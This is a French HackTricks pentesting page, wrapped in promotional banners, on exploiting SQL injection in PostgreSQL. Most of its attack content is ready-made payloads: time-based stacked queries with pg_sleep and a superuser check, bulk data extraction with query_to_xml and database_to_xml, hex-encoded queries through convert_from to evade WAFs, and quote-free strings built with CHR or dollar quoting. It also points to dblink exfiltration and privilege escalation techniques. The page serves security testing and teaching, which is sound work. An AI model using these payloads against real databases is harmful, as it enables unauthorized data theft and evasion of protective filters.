Injection PostgreSQL
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Cette page vise à expliquer différents trucs qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interaction réseau - Escalade de privilèges, scanner de ports, divulgation de réponse au défi NTLM et exfiltration
Le module PostgreSQL dblink
offre des capacités de connexion à d'autres instances PostgreSQL et d'exécution de connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité COPY FROM
, permettent des actions telles que l'escalade de privilèges, le scan de ports et la capture de réponses au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment effectuer ces attaques.
Exemple d'exfiltration utilisant dblink et objets volumineux
Vous pouvez lire cet exemple pour voir un exemple CTF de comment charger des données à l'intérieur d'objets volumineux et ensuite exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur de la fonction dblink_connect
.
Attaques PostgreSQL : Lecture/écriture, RCE, privesc
Vérifiez comment compromettre l'hôte et escalader les privilèges depuis PostgreSQL dans :
5432,5433 - Pentesting Postgresql
Contournement de WAF
Fonctions de chaîne PostgreSQL
Manipuler des chaînes pourrait vous aider à contourner les WAF ou d'autres restrictions.
Sur cette page vous pouvez trouver quelques fonctions de chaînes utiles.
Requêtes empilées
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Mais, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Astuces XML
query_to_xml
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Cette fonction va exporter l'ensemble de la base de données au format XML en une seule ligne (faites attention si la base de données est très grande car vous pourriez provoquer un DoS ou même sur votre propre client) :
SELECT database_to_xml(true,true,'');
Chaînes en Hex
Si vous pouvez exécuter des requêtes en les passant dans une chaîne (par exemple en utilisant la fonction query_to_xml
). Vous pouvez utiliser convert_from pour passer la chaîne en hex et contourner les filtres de cette manière :
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Citations interdites
Si vous ne pouvez pas utiliser de citations pour votre charge utile, vous pouvez contourner cela avec CHR
pour des clauses de base (la concaténation de caractères ne fonctionne que pour des requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Ou avec $
. Ces requêtes renvoient les mêmes résultats :
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.